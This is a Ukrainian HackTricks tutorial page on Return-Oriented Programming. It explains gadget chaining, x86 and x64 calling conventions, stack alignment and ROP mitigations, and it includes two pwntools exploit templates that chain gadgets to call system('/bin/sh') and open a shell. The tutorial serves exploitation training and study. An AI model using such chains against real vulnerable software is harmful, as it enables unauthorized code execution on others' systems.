ROP - Return Oriented Programing

Підтримайте HackTricks

Основна інформація

Return-Oriented Programming (ROP) - це високорівнева техніка експлуатації, яка використовується для обходу заходів безпеки, таких як No-Execute (NX) або Data Execution Prevention (DEP). Замість впровадження та виконання shellcode, зловмисник використовує шматки коду, вже присутні у бінарному файлі або завантажених бібліотеках, відомі як "гаджети". Кожен гаджет зазвичай закінчується інструкцією ret та виконує невелику операцію, таку як переміщення даних між регістрами або виконання арифметичних операцій. З'єднавши ці гаджети, зловмисник може скласти навантаження для виконання довільних операцій, ефективно обходячи захист NX/DEP.

Як працює ROP

  1. Перехоплення потоку управління: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай використовуючи переповнення буфера для перезапису збереженого адреси повернення на стеку.

  2. Ланцюжок гаджетів: Потім зловмисник уважно вибирає та з'єднує гаджети для виконання потрібних дій. Це може включати підготовку аргументів для виклику функції, виклик функції (наприклад, system("/bin/sh")) та обробку будь-яких необхідних завершальних або додаткових операцій.

  3. Виконання навантаження: Коли уразлива функція повертається, замість повернення до законного місця, вона починає виконувати ланцюжок гаджетів.

Інструменти

Зазвичай гаджети можна знайти за допомогою ROPgadget, ropper або безпосередньо з pwntools (ROP).

Приклад ланцюжка ROP в x86

Конвенції виклику для x86 (32-біт)

  • cdecl: Викликач очищає стек. Аргументи функції додаються на стек у зворотньому порядку (справа наліво). Аргументи додаються на стек зправа наліво.

  • stdcall: Схоже на cdecl, але викликаний об'єкт відповідає за очищення стеку.

Пошук гаджетів

Спочатку припустимо, що ми ідентифікували необхідні гаджети у бінарному файлі або його завантажених бібліотеках. Гаджети, які нас цікавлять:

  • pop eax; ret: Цей гаджет видаляє верхнє значення зі стеку в регістр EAX та повертається, дозволяючи нам контролювати EAX.

  • pop ebx; ret: Схожий на попередній, але для регістру EBX, що дозволяє контролювати EBX.

  • mov [ebx], eax; ret: Переміщує значення з EAX до пам'яті, на яку вказує EBX, та повертається. Це часто називається гаджетом write-what-where.

  • Крім того, ми маємо адресу функції system().

Ланцюжок ROP

За допомогою pwntools ми підготовлюємо стек для виконання ланцюжка ROP наступним чином з метою виконання system('/bin/sh'), зверніть увагу, як починається ланцюжок:

  1. Інструкція ret для вирівнювання (необов'язково)

  2. Адреса функції system (припускаючи вимкнене ASLR та відому libc, додаткова інформація в Ret2lib)

  3. Заповнювач для адреси повернення від system()

  4. Адреса рядка "/bin/sh" (параметр для функції system)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Ланцюжок ROP у прикладі x64

Викликові конвенції x64 (64-бітні)

  • Використовує конвенцію виклику System V AMD64 ABI на системах подібних до Unix, де перші шість цілих або вказівникових аргументів передаються в регістри RDI, RSI, RDX, RCX, R8 та R9. Додаткові аргументи передаються через стек. Результат повертається в RAX.

  • Викликова конвенція Windows x64 використовує RCX, RDX, R8 та R9 для перших чотирьох цілих або вказівникових аргументів, з додатковими аргументами, що передаються через стек. Результат повертається в RAX.

  • Регістри: 64-бітні регістри включають RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, та R8 до R15.

Пошук Гаджетів

Для наших цілей давайте зосередимося на гаджетах, які дозволять нам встановити регістр RDI (щоб передати рядок "/bin/sh" як аргумент до system()) і потім викликати функцію system(). Ми припустимо, що ми ідентифікували наступні гаджети:

  • pop rdi; ret: Викидає верхнє значення стеку в RDI і потім повертається. Істотний для встановлення нашого аргументу для system().

  • ret: Простий повернення, корисний для вирівнювання стеку в деяких сценаріях.

І ми знаємо адресу функції system().

Ланцюжок ROP

Нижче наведено приклад використання pwntools для налаштування та виконання ланцюжка ROP з метою виконання system('/bin/sh') на x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

У цьому прикладі:

  • Ми використовуємо гаджет pop rdi; ret для встановлення RDI на адресу "/bin/sh".

  • Ми безпосередньо переходимо до system() після встановлення RDI, з адресою system() в ланцюжку.

  • ret_gadget використовується для вирівнювання, якщо це потрібно в цільовому середовищі, що є більш поширеним у x64, щоб забезпечити належне вирівнювання стеку перед викликом функцій.

Вирівнювання стеку

ABI x86-64 забезпечує, що стек вирівнюється на 16 байтів, коли виконується інструкція виклику. LIBC, для оптимізації продуктивності, використовує інструкції SSE (наприклад movaps), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (означає, що RSP не є кратним 16), виклики функцій, таких як system, не вдасться в ROP ланцюжку. Щоб виправити це, просто додайте ret гаджет перед викликом system у вашому ROP ланцюжку.

Відмінність між x86 та x64

Оскільки x64 використовує регістри для перших кількох аргументів, часто потрібно менше гаджетів, ніж у x86 для простих викликів функцій, але пошук та ланцюження правильних гаджетів може бути складнішим через збільшену кількість регістрів та більший адресний простір. Збільшена кількість регістрів та більший адресний простір у x64 архітектурі надають як можливості, так і виклики для розвитку експлойтів, особливо в контексті Return-Oriented Programming (ROP).

ROP ланцюжок у прикладі ARM64

Основи ARM64 та конвенції виклику

Перевірте наступну сторінку для цієї інформації:

Introduction to ARM64v8

Захист від ROP

  • ASLR & PIE: Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконанням.

  • Stack Canaries: У випадку переповнення буфера, потрібно обійти захист стекового канарейки, щоб переписати вказівники повернення для зловживання ROP ланцюжком.

  • Відсутність гаджетів: Якщо гаджетів недостатньо, не буде можливо створити ROP ланцюжок.

Техніки на основі ROP

Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:

  • Ret2lib: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на зразок system('/bin/sh').

Ret2lib
  • Ret2Syscall: Використовуйте ROP для підготовки виклику системного виклику, наприклад execve, та виконання довільних команд.

https://github.com/HackTricks-wiki/hacktricks/blob/ua/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
  • EBP2Ret & EBP Chaining: Перше буде використовувати EBP замість EIP для контролю потоку, а друге схоже на Ret2lib, але в цьому випадку потік контролюється в основному адресами EBP (хоча також потрібно контролювати EIP).

https://github.com/HackTricks-wiki/hacktricks/blob/ua/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

Інші Приклади та Посилання

Підтримайте HackTricks

Last updated